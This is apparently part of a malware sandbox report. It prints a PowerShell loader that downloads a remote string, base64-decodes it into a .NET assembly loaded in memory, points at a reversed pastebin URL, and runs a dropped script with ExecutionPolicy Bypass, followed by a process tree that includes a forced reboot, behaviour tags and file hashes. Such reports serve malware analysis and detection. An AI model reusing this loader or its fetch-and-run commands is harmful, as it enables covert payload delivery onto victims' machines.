;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $ooDSI ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''Hpu47S1r/war/moc.nibetsap//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\$RDOOKRE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"3⤵
- Blocklisted process makes network request
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe JCCGX /quiet /norestart4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Windows\system32\wusa.exe"C:\Windows\system32\wusa.exe" JCCGX /quiet /norestart5⤵
- Drops file in Windows directory
PID:2980
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3008
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C:\Windows\system32\shutdown.exe"C:\Windows\system32\shutdown.exe" /r /t 0 /f4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1696
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵PID:1796
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵PID:2484
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD576a7cfe2276dddf2b391510b219f91c7
SHA1d4edce3a79f4ae63fe9b411df1a82d45601ff8f4
SHA256d944966fae1d1b3cfa9da8233abcac3f901d36ae4a7a66fcd78123cf110817b5
SHA512eb4a938dce7abc33ac67e5a96ebc931ce6ffd3bfd214f50084d18470a94a110e8f18f2f994b3e8c058734a4670c8ef8aab541bee41a3557eff43e3bf79b2457f
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J3H5PNLIJCNAB3N1SYO9.temp
Filesize7KB
MD5aa405b92a830b4e7ff1624f3d7089162
SHA1bcaea8e13ef24609fe14112bade33ece3ba7350f
SHA25654ecae282e070c18be8dc26c8b65a56fc36018837aa78016a6a3571b7d4d6af6
SHA512469616810574cfc383276ea96d2529f4d3e4d1ac28d5e8fcedc4871e61e158469475430f05dad4b4ae5859bcc5da12594a69f1baadc0f8c435fcdd5e9ee79600